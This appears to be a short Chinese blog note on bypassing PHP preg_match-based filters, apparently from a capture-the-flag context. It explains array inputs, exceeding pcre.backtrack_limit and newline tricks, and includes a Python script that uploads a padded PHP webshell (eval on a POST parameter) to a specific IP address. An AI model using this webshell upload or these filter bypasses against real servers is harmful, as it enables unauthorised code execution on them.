标签:方法 header restrict dex ted requests mamicode leaves pcre
preg_match只能处理字符串,当传入的subject是数组时会返回false
import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)
pcre.backtrack_limit
给pcre设定了一个回溯次数上限,默认为1000000,如果回溯次数超过这个数字,preg_match会返回false
若preg_match(‘/^.*$/‘,subject)
,preg_match只会匹配第一行,如
if (preg_match('/^.*(flag).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
}
只需要
$json="\nflag"
标签:方法 header restrict dex ted requests mamicode leaves pcre
原文地址:https://www.cnblogs.com/20175211lyz/p/12198258.html